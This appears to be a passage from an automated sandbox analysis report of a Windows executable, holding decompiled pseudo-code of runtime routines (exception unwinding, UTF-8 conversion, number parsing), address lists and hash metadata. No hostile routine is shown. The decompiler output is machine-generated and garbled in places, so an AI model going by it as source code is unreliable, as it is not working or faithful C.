				 *(_t282 - 0x48) = _t280;
				if ( *_t237 != 0xe06d7363) goto 0xda8ddfaf;
				if ( *((intOrPtr*)(_t237 + 0x18)) != 4) goto 0xda8ddfaf;
				if ( *((intOrPtr*)(_t237 + 0x20)) - 0x19930520 - 2 > 0) goto 0xda8ddfaf;
				r15d = 0;
				if (_t280[3] - r15d <= 0) goto 0xda8ddee0;
				 *(_t284 + 0x28) =  *(_t282 + 0xa0);
				 *(_t284 + 0x20) = _t280;
				r8d = r14d;
				_t145 = E00007FF77FF7DA8DD33C(_t237, _t282 - 0x28, _t282 - 0x48, __r9, _t282, _t280, __r9, __r10);
				asm("movups xmm0, [ebp-0x28]");
				asm("movdqu [ebp-0x38], xmm0");
				asm("psrldq xmm0, 0x8");
				asm("movd eax, xmm0");
				if (_t145 -  *((intOrPtr*)(_t282 - 0x10)) >= 0) goto 0xda8ddee0;
				_t296 =  *((intOrPtr*)(_t282 - 0x28));
				r13d =  *((intOrPtr*)(_t282 - 0x30));
				 *((long long*)(_t282 - 0x80)) = _t296;
				_t146 = r13d;
				asm("inc ecx");
				 *((intOrPtr*)(_t282 - 0x50)) = __ecx;
				asm("movd eax, xmm0");
				asm("movups [ebp-0x60], xmm0");
				if (_t146 - r14d > 0) goto 0xda8dded3;
				_t226 =  *(_t282 - 0x60) >> 0x20;
				if (r14d - _t146 > 0) goto 0xda8dded3;
				r12d = r15d;
				_t267 =  *((intOrPtr*)( *((intOrPtr*)( *( *(_t282 - 0x38)) + 0x10)) + ( *( *(_t282 - 0x38)) +  *( *(_t282 - 0x38)) * 4) * 4 +  *((intOrPtr*)(_t296 + 8)) + 0x10)) +  *((intOrPtr*)(__r9 + 8));
				_t313 =  *(_t282 - 0x58) >> 0x20;
				 *((long long*)(_t282 - 0x70)) = _t267;
				if (r15d == 0) goto 0xda8ddec0;
				_t246 = _t226 + _t226 * 4;
				asm("movups xmm0, [edx+ecx*4]");
				asm("movups [ebp-0x8], xmm0");
				_t59 = _t246 * 4; // 0x48ccccc35f40c483
				 *((intOrPtr*)(_t282 + 8)) =  *((intOrPtr*)(_t267 + _t59 + 0x10));
				E00007FF77FF7DA8DD624(_t226);
				_t228 = _t226 + 4 +  *((intOrPtr*)( *((intOrPtr*)(_t237 + 0x30)) + 0xc));
				 *((long long*)(_t284 + 0x70)) = _t228;
				E00007FF77FF7DA8DD624(_t228);
				_t176 =  *((intOrPtr*)(_t228 +  *((intOrPtr*)( *((intOrPtr*)(_t237 + 0x30)) + 0xc))));
				 *((intOrPtr*)(_t284 + 0x64)) = _t176;
				if (_t176 <= 0) goto 0xda8dde50;
				E00007FF77FF7DA8DD624(_t228);
				 *((long long*)(_t282 - 0x78)) = _t228 +  *((intOrPtr*)( *((intOrPtr*)(_t284 + 0x70))));
				if (E00007FF77FF7DA8DE284(_t180, _t237, _t282 - 8, _t228 +  *((intOrPtr*)( *((intOrPtr*)(_t284 + 0x70)))), _t280, __r9,  *((intOrPtr*)(_t237 + 0x30))) != 0) goto 0xda8dde61;
				 *((long long*)(_t284 + 0x70)) =  *((long long*)(_t284 + 0x70)) + 4;
				_t154 =  *((intOrPtr*)(_t284 + 0x64)) - 1;
				 *((intOrPtr*)(_t284 + 0x64)) = _t154;
				if (_t154 > 0) goto 0xda8dde14;
				r12d = r12d + 1;
				if (r12d == r15d) goto 0xda8ddec7;
				goto 0xda8dddcd;
				 *((char*)(_t284 + 0x58)) =  *((intOrPtr*)(_t282 + 0x98));
				 *(_t284 + 0x50) =  *((intOrPtr*)(_t284 + 0x60));
				 *((long long*)(_t284 + 0x48)) =  *(_t282 - 0x68);
				 *(_t284 + 0x40) =  *(_t282 + 0xa0);
				 *(_t284 + 0x38) = _t282 - 0x60;
				 *(_t284 + 0x30) =  *((intOrPtr*)(_t282 - 0x78));
				 *(_t284 + 0x28) = _t282 - 8;
				 *(_t284 + 0x20) = _t280;
				E00007FF77FF7DA8DDABC(_t180, _t237, _t237,  *((intOrPtr*)(_t284 + 0x78)),  *((intOrPtr*)(_t284 + 0x68)), _t281);
				goto 0xda8ddecc;
				goto 0xda8dded0;
				r15d = 0;
				r13d = r13d + 1;
				if (r13d -  *((intOrPtr*)(_t282 - 0x10)) < 0) goto 0xda8ddd65;
				if (( *_t280 & 0x1fffffff) - 0x19930521 < 0) goto 0xda8ddfec;
				_t209 = _t280[8] - r15d;
				if (_t209 == 0) goto 0xda8ddf06;
				E00007FF77FF7DA8DD610(_t282 - 8);
				if (_t209 != 0) goto 0xda8ddf27;
				if ((_t280[9] >> 0x00000002 & 0x00000001) == 0) goto 0xda8ddfec;
				if (E00007FF77FF7DA8DD1E0(_t280[9] >> 0x00000002 & 0x00000001, _t282 - 8 + _t280[8], _t281, _t280) != 0) goto 0xda8ddfec;
				if ((_t280[9] >> 0x00000002 & 0x00000001) != 0) goto 0xda8de042;
				if (_t280[8] == r15d) goto 0xda8ddf4c;
				E00007FF77FF7DA8DD610(_t282 - 8 + _t280[8]);
				_t235 = _t280[8];
				goto 0xda8ddf4f;
				if (E00007FF77FF7DA8DEB88(_t235, _t237, _t237, _t313, _t281) != 0) goto 0xda8ddfec;
				E00007FF77FF7DA8DD270(_t237,  *((intOrPtr*)(_t284 + 0x78)), _t281, _t282, _t280, _t282 - 0x78);
				_t177 =  *((intOrPtr*)(_t282 + 0x98));
				 *(_t284 + 0x50) = _t177;
				_t178 = _t177 | 0xffffffff;
				 *((long long*)(_t284 + 0x48)) = _t281;
				 *(_t284 + 0x40) = _t313;
				 *(_t284 + 0x38) = _t178;
				 *(_t284 + 0x30) = _t178;
				 *(_t284 + 0x28) = _t280;
				 *(_t284 + 0x20) = _t313;
				E00007FF77FF7DA8DD47C( *((intOrPtr*)(_t284 + 0x78)), _t237,  *((intOrPtr*)(_t284 + 0x68)), _t235);
				goto 0xda8ddfec;
				if (_t280[3] <= 0) goto 0xda8ddfec;
				if ( *((char*)(_t282 + 0x98)) != 0) goto 0xda8de05f;
				 *(_t284 + 0x38) = _t307;
				 *(_t284 + 0x30) =  *(_t282 + 0xa0);
				 *(_t284 + 0x28) = r14d;
				 *(_t284 + 0x20) = _t280;
				E00007FF77FF7DA8DE068(_t237, _t237,  *((intOrPtr*)(_t284 + 0x78)), _t313, _t281);
				_t173 = E00007FF77FF7DA8DCC80(_t235);
				if ( *((long long*)(_t235 + 0x38)) != 0) goto 0xda8de05f;
				return E00007FF77FF7DA8DACF0(_t173, _t178,  *(_t282 + 0x10) ^ _t284);
			}

































                                                                                                                              0x7ff7da8ddb90
                                                                                                                              0x7ff7da8ddb9d
                                                                                                                              0x7ff7da8ddba2
                                                                                                                              0x7ff7da8ddba9
                                                                                                                              0x7ff7da8ddbb0
                                                                                                                              0x7ff7da8ddbb3
                                                                                                                              0x7ff7da8ddbb7
                                                                                                                              0x7ff7da8ddbc1
                                                                                                                              0x7ff7da8ddbcb
                                                                                                                              0x7ff7da8ddbd0
                                                                                                                              0x7ff7da8ddbd3
                                                                                                                              0x7ff7da8ddbde
                                                                                                                              0x7ff7da8ddbe5
                                                                                                                              0x7ff7da8ddbea
                                                                                                                              0x7ff7da8ddbed
                                                                                                                              0x7ff7da8ddbf2
                                                                                                                              0x7ff7da8ddbf8
                                                                                                                              0x7ff7da8ddc01
                                                                                                                              0x7ff7da8ddc0d
                                                                                                                              0x7ff7da8ddc17
                                                                                                                              0x7ff7da8ddc28
                                                                                                                              0x7ff7da8ddc33
                                                                                                                              0x7ff7da8ddc39
                                                                                                                              0x7ff7da8ddc43
                                                                                                                              0x7ff7da8ddc49
                                                                                                                              0x7ff7da8ddc4e
                                                                                                                              0x7ff7da8ddc52
                                                                                                                              0x7ff7da8ddc5b
                                                                                                                              0x7ff7da8ddc64
                                                                                                                              0x7ff7da8ddc69
                                                                                                                              0x7ff7da8ddc74
                                                                                                                              0x7ff7da8ddc7a
                                                                                                                              0x7ff7da8ddc87
                                                                                                                              0x7ff7da8ddc8e
                                                                                                                              0x7ff7da8ddc94
                                                                                                                              0x7ff7da8ddc9e
                                                                                                                              0x7ff7da8ddca0
                                                                                                                              0x7ff7da8ddca9
                                                                                                                              0x7ff7da8ddcb4
                                                                                                                              0x7ff7da8ddcc0
                                                                                                                              0x7ff7da8ddccc
                                                                                                                              0x7ff7da8ddcd2
                                                                                                                              0x7ff7da8ddce0
                                                                                                                              0x7ff7da8ddce4
                                                                                                                              0x7ff7da8ddcee
                                                                                                                              0x7ff7da8ddcf8
                                                                                                                              0x7ff7da8ddd09
                                                                                                                              0x7ff7da8ddd0f
                                                                                                                              0x7ff7da8ddd16
                                                                                                                              0x7ff7da8ddd26
                                                                                                                              0x7ff7da8ddd31
                                                                                                                              0x7ff7da8ddd36
                                                                                                                              0x7ff7da8ddd39
                                                                                                                              0x7ff7da8ddd3e
                                                                                                                              0x7ff7da8ddd42
                                                                                                                              0x7ff7da8ddd47
                                                                                                                              0x7ff7da8ddd4c
                                                                                                                              0x7ff7da8ddd53
                                                                                                                              0x7ff7da8ddd59
                                                                                                                              0x7ff7da8ddd5d
                                                                                                                              0x7ff7da8ddd61
                                                                                                                              0x7ff7da8ddd70
                                                                                                                              0x7ff7da8ddd7f
                                                                                                                              0x7ff7da8ddd89
                                                                                                                              0x7ff7da8ddd8c
                                                                                                                              0x7ff7da8ddd90
                                                                                                                              0x7ff7da8ddd97
                                                                                                                              0x7ff7da8ddda1
                                                                                                                              0x7ff7da8ddda8
                                                                                                                              0x7ff7da8dddae
                                                                                                                              0x7ff7da8dddb4
                                                                                                                              0x7ff7da8dddbc
                                                                                                                              0x7ff7da8dddc0
                                                                                                                              0x7ff7da8dddc7
                                                                                                                              0x7ff7da8dddd0
                                                                                                                              0x7ff7da8dddd4
                                                                                                                              0x7ff7da8dddd8
                                                                                                                              0x7ff7da8ddddc
                                                                                                                              0x7ff7da8ddde0
                                                                                                                              0x7ff7da8ddde3
                                                                                                                              0x7ff7da8dddf4
                                                                                                                              0x7ff7da8dddf7
                                                                                                                              0x7ff7da8dddfc
                                                                                                                              0x7ff7da8dde09
                                                                                                                              0x7ff7da8dde0c
                                                                                                                              0x7ff7da8dde12
                                                                                                                              0x7ff7da8dde14
                                                                                                                              0x7ff7da8dde2f
                                                                                                                              0x7ff7da8dde3a
                                                                                                                              0x7ff7da8dde40
                                                                                                                              0x7ff7da8dde46
                                                                                                                              0x7ff7da8dde48
                                                                                                                              0x7ff7da8dde4e
                                                                                                                              0x7ff7da8dde50
                                                                                                                              0x7ff7da8dde56
                                                                                                                              0x7ff7da8dde5c
                                                                                                                              0x7ff7da8dde7a
                                                                                                                              0x7ff7da8dde82
                                                                                                                              0x7ff7da8dde8a
                                                                                                                              0x7ff7da8dde95
                                                                                                                              0x7ff7da8dde9d
                                                                                                                              0x7ff7da8ddea6
                                                                                                                              0x7ff7da8ddeaf
                                                                                                                              0x7ff7da8ddeb4
                                                                                                                              0x7ff7da8ddeb9
                                                                                                                              0x7ff7da8ddebe
                                                                                                                              0x7ff7da8ddec5
                                                                                                                              0x7ff7da8dded0
                                                                                                                              0x7ff7da8dded3
                                                                                                                              0x7ff7da8ddeda
                                                                                                                              0x7ff7da8ddeec
                                                                                                                              0x7ff7da8ddef2
                                                                                                                              0x7ff7da8ddef6
                                                                                                                              0x7ff7da8ddef8
                                                                                                                              0x7ff7da8ddf04
                                                                                                                              0x7ff7da8ddf0e
                                                                                                                              0x7ff7da8ddf21
                                                                                                                              0x7ff7da8ddf2f
                                                                                                                              0x7ff7da8ddf39
                                                                                                                              0x7ff7da8ddf3b
                                                                                                                              0x7ff7da8ddf43
                                                                                                                              0x7ff7da8ddf4a
                                                                                                                              0x7ff7da8ddf59
                                                                                                                              0x7ff7da8ddf6c
                                                                                                                              0x7ff7da8ddf71
                                                                                                                              0x7ff7da8ddf82
                                                                                                                              0x7ff7da8ddf86
                                                                                                                              0x7ff7da8ddf89
                                                                                                                              0x7ff7da8ddf8e
                                                                                                                              0x7ff7da8ddf93
                                                                                                                              0x7ff7da8ddf97
                                                                                                                              0x7ff7da8ddf9e
                                                                                                                              0x7ff7da8ddfa3
                                                                                                                              0x7ff7da8ddfa8
                                                                                                                              0x7ff7da8ddfad
                                                                                                                              0x7ff7da8ddfb3
                                                                                                                              0x7ff7da8ddfbc
                                                                                                                              0x7ff7da8ddfcb
                                                                                                                              0x7ff7da8ddfd3
                                                                                                                              0x7ff7da8ddfda
                                                                                                                              0x7ff7da8ddfe2
                                                                                                                              0x7ff7da8ddfe7
                                                                                                                              0x7ff7da8ddfec
                                                                                                                              0x7ff7da8ddff6
                                                                                                                              0x7ff7da8de017

                                                                                                                              APIs
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.339090214.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000000.00000002.339080100.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339117101.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339173734.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
                                                                                                                              • String ID: csm$csm$csm
                                                                                                                              • API String ID: 849930591-393685449
                                                                                                                              • Opcode ID: 37d607f2ef6e4e9c222edd22de0676be1f50fecdbf07fc71a4a40dfd36176f59
                                                                                                                              • Instruction ID: a2a6c8605bd352043d1787b14409685ff4ebdb26cf38f63245b935d8c47341ba
                                                                                                                              • Opcode Fuzzy Hash: 37d607f2ef6e4e9c222edd22de0676be1f50fecdbf07fc71a4a40dfd36176f59
                                                                                                                              • Instruction Fuzzy Hash: 54E19B73A097418AFF21AF6594402ADB7A0FB54798F880576EE8D57B86CF3CE4A0C750
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8D7570 Relevance: 12.4, APIs: 2, Strings: 5, Instructions: 104COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF7DA8D101D), ref: 00007FF7DA8D760F
                                                                                                                              • WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF7DA8D101D), ref: 00007FF7DA8D765F
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.339090214.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000000.00000002.339080100.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339117101.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339173734.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: ByteCharMultiWide
                                                                                                                              • String ID: Failed to encode wchar_t as UTF-8.$Failed to get UTF-8 buffer size.$Out of memory.$WideCharToMultiByte$win32_utils_to_utf8
                                                                                                                              • API String ID: 626452242-27947307
                                                                                                                              • Opcode ID: 0658ae6d084413c431a4ba418f1d2166f8922dcb0d8f2eff935ccb87966fbf39
                                                                                                                              • Instruction ID: 9e2d178cc8cfe57f0d13e14533101a5a6936666a3e9477e1d0f5788ba0be89af
                                                                                                                              • Opcode Fuzzy Hash: 0658ae6d084413c431a4ba418f1d2166f8922dcb0d8f2eff935ccb87966fbf39
                                                                                                                              • Instruction Fuzzy Hash: DC418232A08B8285FA22AF15F44016EE764FB54790FD84176DE8D47B96EF3CD466C710
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8D7AB0 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 63COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • WideCharToMultiByte.KERNEL32(?,00007FF7DA8D3679), ref: 00007FF7DA8D7AF1
                                                                                                                                • Part of subcall function 00007FF7DA8D2620: GetLastError.KERNEL32(00000000,00000000,00000000,00007FF7DA8D76B4,?,?,?,?,?,?,?,?,?,?,?,00007FF7DA8D101D), ref: 00007FF7DA8D2654
                                                                                                                                • Part of subcall function 00007FF7DA8D2620: MessageBoxW.USER32 ref: 00007FF7DA8D272C
                                                                                                                              • WideCharToMultiByte.KERNEL32(?,00007FF7DA8D3679), ref: 00007FF7DA8D7B65
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.339090214.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000000.00000002.339080100.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339117101.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339173734.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: ByteCharMultiWide$ErrorLastMessage
                                                                                                                              • String ID: Failed to encode wchar_t as UTF-8.$Failed to get UTF-8 buffer size.$Out of memory.$WideCharToMultiByte$win32_utils_to_utf8
                                                                                                                              • API String ID: 3723044601-27947307
                                                                                                                              • Opcode ID: f1433c8640d626ae4189be2b9051fdea489fba53c429c99114fc43a8c07ed26a
                                                                                                                              • Instruction ID: ad47007ded1f2d7a46695296f99cf3b71f46c3b88742d8df01db5324743fd2d0
                                                                                                                              • Opcode Fuzzy Hash: f1433c8640d626ae4189be2b9051fdea489fba53c429c99114fc43a8c07ed26a
                                                                                                                              • Instruction Fuzzy Hash: 58218F31A08B4389FB12AF11E84007DF761BB94B90BC84176CE4D43796EF7CE5258310
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8E91B4 Relevance: 11.0, APIs: 3, Strings: 3, Instructions: 494COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              C-Code - Quality: 55%
                                                                                                                              			E00007FF77FF7DA8E91B4(signed short* __rax, long long __rbx, long long __rcx, signed short** __rdx, void* __r8, void* __r9, void* __r10, void* __r11, long long _a8, intOrPtr _a16, long long _a24) {
				void* _v72;
				intOrPtr _v80;
				intOrPtr _v84;
				intOrPtr _v88;
				intOrPtr _v92;
				intOrPtr _v96;
				intOrPtr _v100;
				intOrPtr _v104;
				intOrPtr _v108;
				intOrPtr _v112;
				intOrPtr _v116;
				intOrPtr _v120;
				intOrPtr _v124;
				intOrPtr _v128;
				intOrPtr _v132;
				intOrPtr _v136;
				intOrPtr _v140;
				intOrPtr _v144;
				intOrPtr _v148;
				intOrPtr _v152;
				intOrPtr _v156;
				intOrPtr _v160;
				intOrPtr _v164;
				intOrPtr _v168;
				long long _v176;
				long long _v184;
				void* __rsi;
				void* __rbp;
				void* _t163;
				signed int _t169;
				signed short _t208;
				signed short _t209;
				signed int _t210;
				signed int _t245;
				intOrPtr _t259;
				signed int _t260;
				signed int _t264;
				signed int _t265;
				signed int _t268;
				signed short* _t391;
				signed short* _t392;
				signed short* _t393;
				signed short* _t395;
				signed short** _t396;
				long long _t397;
				long long* _t400;
				signed short* _t401;
				long long* _t405;
				long long* _t406;
				long long* _t407;
				signed short** _t408;
				void* _t409;
				long long _t410;
				signed short* _t415;
				signed short* _t416;
				void* _t418;
				void* _t419;
				long long _t420;
				signed short* _t421;
				intOrPtr _t422;

				_t419 = __r11;
				_t418 = __r10;
				_t414 = __r8;
				_t405 = __rdx;
				_t397 = __rbx;
				_a24 = __rbx;
				_a8 = __rcx;
				_t420 =  *((intOrPtr*)(__rdx));
				_t265 = r9b & 0xffffffff;
				r15d = r8d;
				_v72 = _t420;
				_t408 = __rdx;
				if (_t420 != 0) goto 0xda8e91fe;
				E00007FF77FF7DA8E4394(__rax);
				 *__rax = 0x16;
				E00007FF77FF7DA8E9D00();
				goto 0xda8e9230;
				if (r15d == 0) goto 0xda8e9248;
				_t4 = _t414 - 2; // -2
				if (_t4 - 0x22 <= 0) goto 0xda8e9248;
				_v176 = __rcx;
				r9d = 0;
				 *((char*)(__rcx + 0x30)) = 1;
				r8d = 0;
				 *(__rcx + 0x2c) = 0x16;
				_v184 = _t410;
				E00007FF77FF7DA8E9C34(__rax, __rbx, __rcx, __rdx, _t409, _t410, __r8);
				_t400 = _t408[1];
				if (_t400 == 0) goto 0xda8e989a;
				 *_t400 =  *_t408;
				goto 0xda8e989a;
				_t10 = _t420 + 2; // 0x2
				 *_t405 = _t10;
				r14d = 0;
				if ( *((intOrPtr*)(_t400 + 0x28)) != bpl) goto 0xda8e9272;
				E00007FF77FF7DA8E3970(_t10, _t397, _t400, _t409);
				goto 0xda8e9272;
				_t389 =  *_t408;
				 *_t408 =  &(( *_t408)[1]);
				if (E00007FF77FF7DA8E792C( *_t389 & 0xffff, 8, _t397, _t400) != 0) goto 0xda8e9265;
				_t267 =  !=  ? _t265 : _t265 | 0x00000002;
				_t12 = _t397 - 0x2b; // -43
				if ((0x0000fffd & _t12) != 0) goto 0xda8e92a9;
				_t391 =  *_t408;
				_t208 =  *_t391 & 0x0000ffff;
				_t392 =  &(_t391[1]);
				 *_t408 = _t392;
				_a16 = 0xa70;
				_v168 = 0xae6;
				_v164 = 0xaf0;
				_v160 = 0xb66;
				r8d = 0x660;
				_v156 = 0xb70;
				_t20 = _t392 - 0x80; // 0x5e0
				r11d = _t20;
				_v152 = 0xc66;
				r9d = 0x6f0;
				_v148 = 0xc70;
				r10d = 0x966;
				_v144 = 0xce6;
				_v140 = 0xcf0;
				_v136 = 0xd66;
				_v132 = 0xd70;
				_v128 = 0xe50;
				_v124 = 0xe5a;
				_v120 = 0xed0;
				_v116 = 0xeda;
				_v112 = 0xf20;
				_v108 = 0xf2a;
				_v104 = 0x1040;
				_v100 = 0x104a;
				_v96 = 0x17e0;
				_v92 = 0x17ea;
				_v88 = 0x1810;
				_v84 = 0xff1a;
				_v80 = 0x19;
				if ((r15d & 0xffffffef) != 0) goto 0xda8e95e9;
				if (_t208 - 0x30 < 0) goto 0xda8e9571;
				if (_t208 - 0x3a >= 0) goto 0xda8e93c0;
				goto 0xda8e956c;
				if (_t208 - 0xff10 >= 0) goto 0xda8e955d;
				if (_t208 - r8w < 0) goto 0xda8e9571;
				if (_t208 - 0x66a >= 0) goto 0xda8e93e8;
				goto 0xda8e956c;
				if (_t208 - r9w < 0) goto 0xda8e9571;
				if (_t208 - 0x6fa >= 0) goto 0xda8e9407;
				goto 0xda8e956c;
				if (_t208 - r10w < 0) goto 0xda8e9571;
				if (_t208 - 0x970 >= 0) goto 0xda8e9426;
				goto 0xda8e956c;
				if (_t208 - r11w < 0) goto 0xda8e9571;
				if (_t208 - 0x9f0 >= 0) goto 0xda8e9445;
				goto 0xda8e956c;
				if (_t208 - (_t208 & 0x0000ffff) - r11d < 0) goto 0xda8e9571;
				if (_t208 - _a16 >= 0) goto 0xda8e9465;
				goto 0xda8e956c;
				if (_t208 - _v168 < 0) goto 0xda8e9571;
				if (_t208 - _v164 < 0) goto 0xda8e93b6;
				if (_t208 - _v160 < 0) goto 0xda8e9571;
				if (_t208 - _v156 < 0) goto 0xda8e93b6;
				if (_t208 - _v152 < 0) goto 0xda8e9571;
				if (_t208 - _v148 < 0) goto 0xda8e93b6;
				if (_t208 - _v144 < 0) goto 0xda8e9571;
				if (_t208 - _v140 < 0) goto 0xda8e93b6;
				if (_t208 - _v136 < 0) goto 0xda8e9571;
				if (_t208 - _v132 < 0) goto 0xda8e93b6;
				if (_t208 - _v128 < 0) goto 0xda8e9571;
				if (_t208 - _v124 < 0) goto 0xda8e93b6;
				if (_t208 - _v120 < 0) goto 0xda8e9571;
				if (_t208 - _v116 < 0) goto 0xda8e93b6;
				if (_t208 - _v112 < 0) goto 0xda8e9571;
				if (_t208 - _v108 < 0) goto 0xda8e93b6;
				if (_t208 - _v104 < 0) goto 0xda8e9571;
				if (_t208 - _v100 < 0) goto 0xda8e93b6;
				if (_t208 - _v96 < 0) goto 0xda8e9571;
				if (_t208 - _v92 < 0) goto 0xda8e93b6;
				if ((_t208 & 0x0000ffff) - _v88 - 9 > 0) goto 0xda8e9571;
				goto 0xda8e93b6;
				if (_t208 - _v84 >= 0) goto 0xda8e9571;
				if ((_t208 & 0x0000ffff) - 0xff10 != 0xffffffff) goto 0xda8e9597;
				_t259 = _v80;
				_t66 = _t400 - 0x41; // 0x6af
				_t67 = _t400 - 0x61; // 0x68f
				_t163 = _t67;
				if (_t66 - _t259 <= 0) goto 0xda8e958d;
				if (_t163 - _t259 > 0) goto 0xda8e9643;
				if (_t163 - _t259 > 0) goto 0xda8e9594;
				_t68 = _t400 - 0x37; // 0x5d9
				r10d = 0;
				if (_t68 != 0) goto 0xda8e9646;
				_t401 =  *_t408;
				r9d = 0xffdf;
				_t260 =  *_t401 & 0x0000ffff;
				_t69 =  &(_t401[1]); // 0xffe1
				_t415 = _t69;
				 *_t408 = _t415;
				_t70 = _t405 - 0x58; // -63
				if ((r9w & _t70) == 0) goto 0xda8e9627;
				 *_t408 = _t401;
				_t73 = _t418 + 8; // 0x8
				_t167 =  !=  ? r15d : _t73;
				r15d =  !=  ? r15d : _t73;
				if (_t260 == 0) goto 0xda8e95ec;
				if ( *_t401 == _t260) goto 0xda8e95ec;
				E00007FF77FF7DA8E4394(_t392);
				 *_t392 = 0x16;
				_t169 = E00007FF77FF7DA8E9D00();
				r10d = 0;
				r11d = 0x61;
				r9d = (_t169 | 0xffffffff) / r15d;
				r13d = 0xff10;
				_t78 = _t419 - 0x31; // 0x5af
				r12d = _t78;
				if (_t208 - r12w < 0) goto 0xda8e97db;
				if (_t208 - 0x3a >= 0) goto 0xda8e964d;
				goto 0xda8e97d6;
				_t209 =  *_t415 & 0x0000ffff;
				_t79 =  &(_t415[1]); // 0xffe3
				_t393 = _t79;
				 *_t408 = _t393;
				_t173 =  !=  ? r15d : 0x10;
				r15d =  !=  ? r15d : 0x10;
				goto 0xda8e95ec;
				r10d = 0;
				goto 0xda8e9637;
				if (_t209 - r13w >= 0) goto 0xda8e97c6;
				if (_t209 - 0x660 < 0) goto 0xda8e97db;
				if (_t209 - 0x66a >= 0) goto 0xda8e9674;
				goto 0xda8e97d6;
				if (_t209 - 0x6f0 < 0) goto 0xda8e97db;
				_t80 =  &(_t393[5]); // 0x6fa
				if (_t209 - _t80 >= 0) goto 0xda8e9694;
				goto 0xda8e97d6;
				if (_t209 - 0x966 < 0) goto 0xda8e97db;
				_t81 =  &(_t393[5]); // 0x970
				if (_t209 - _t81 < 0) goto 0xda8e968a;
				_t82 =  &(_t401[0x3b]); // 0x9e6
				if (_t209 - _t82 < 0) goto 0xda8e97db;
				_t83 =  &(_t393[5]); // 0x9f0
				if (_t209 - _t83 < 0) goto 0xda8e968a;
				_t84 =  &(_t401[0x3b]); // 0xa66
				if (_t209 - _t84 < 0) goto 0xda8e97db;
				if (_t209 - _a16 < 0) goto 0xda8e968a;
				if (_t209 - _v168 < 0) goto 0xda8e97db;
				if (_t209 - _v164 < 0) goto 0xda8e968a;
				if (_t209 - _v160 < 0) goto 0xda8e97db;
				if (_t209 - _v156 < 0) goto 0xda8e968a;
				if (_t209 - _v152 < 0) goto 0xda8e97db;
				if (_t209 - _v148 < 0) goto 0xda8e968a;
				if (_t209 - _v144 < 0) goto 0xda8e97db;
				if (_t209 - _v140 < 0) goto 0xda8e968a;
				if (_t209 - _v136 < 0) goto 0xda8e97db;
				if (_t209 - _v132 < 0) goto 0xda8e968a;
				if (_t209 - _v128 < 0) goto 0xda8e97db;
				if (_t209 - _v124 < 0) goto 0xda8e968a;
				if (_t209 - _v120 < 0) goto 0xda8e97db;
				if (_t209 - _v116 < 0) goto 0xda8e968a;
				if (_t209 - _v112 < 0) goto 0xda8e97db;
				if (_t209 - _v108 < 0) goto 0xda8e968a;
				if (_t209 - _v104 < 0) goto 0xda8e97db;
				if (_t209 - _v100 < 0) goto 0xda8e968a;
				if (_t209 - _v96 < 0) goto 0xda8e97db;
				if (_t209 - _v92 < 0) goto 0xda8e968a;
